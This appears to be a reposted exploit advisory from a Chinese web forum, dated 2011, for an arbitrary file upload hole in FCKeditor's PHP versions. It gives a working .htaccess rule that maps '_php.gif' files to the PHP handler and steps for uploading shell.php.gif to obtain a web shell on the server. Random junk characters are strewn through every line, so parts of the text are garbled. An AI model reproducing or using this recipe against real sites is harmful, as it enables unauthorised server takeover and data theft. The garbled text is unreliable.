FCKeditor所有php版本Upload上传漏洞
! w" x2 y( \4 w# u# R2 }作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07% _: z! ?' K: t! Y6 b, o! D" X
减小字体 增大字体! N* A: A+ q- k% {, i" e0 n
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
5 {) ^9 M$ L p[+] Date: 20114 n# U, H P8 Q' [( v
[+] Author : sinesafe.cn9 c$ V" H+ U0 j8 t7 @ R7 Y
[+] Website : WwW.sinesafe.cn
\9 {( ]$ Y* `6 ]& v& A6 m' P———————————————————
9 W `% B2 x9 \$ I7 ?9 @+ B1.create a htaccess file:" I0 D; N% s) L1 a W! c9 D
code:% E! f4 Z; I$ W* c( F5 K- T. x
<FilesMatch “_php.gif”>& F% `) k1 o/ r( ]8 X9 F
SetHandler application/x-httpd-php
! V5 `0 }9 G* b5 s% c: j% G Z0 i</FilesMatch>
, ?- E2 q8 I) E5 V5 s3 } b4 R1 ?2 G0 p3 a3 _: B
2.Now upload this htaccess with FCKeditor.* `$ _. U0 D T
3 h- Y, z9 G$ q F! \1 Shttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html
3 A4 y: L. y Y( [2 T; w- h) A R) J) T! B4 x$ W
http://www.sinesafe.cn/FCKeditor ... onnectors/test.html j7 U4 |' k* @
; g1 |( g' }- ]+ o6 Y* D; w# ^ v———————————————————————————————-
' h7 L# r5 _0 J+ y! `1 g i3.Now upload shell.php.gif with FCKeditor.' f' b# K' M% t) M& \
4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. ]9 N6 `2 x0 ^6 l2 y5 e
5.http://www.sinesafe.cn/anything/shell_php.gif
/ P; T$ d1 {1 q* W6.Now shell is available from server. |
' I8 H& t, y8 u& ]) t* L
. u; E, |9 l+ _& k
) j7 ~) [" a# K |
发表于 2013-10-27 17:25:21
收藏
支持
反对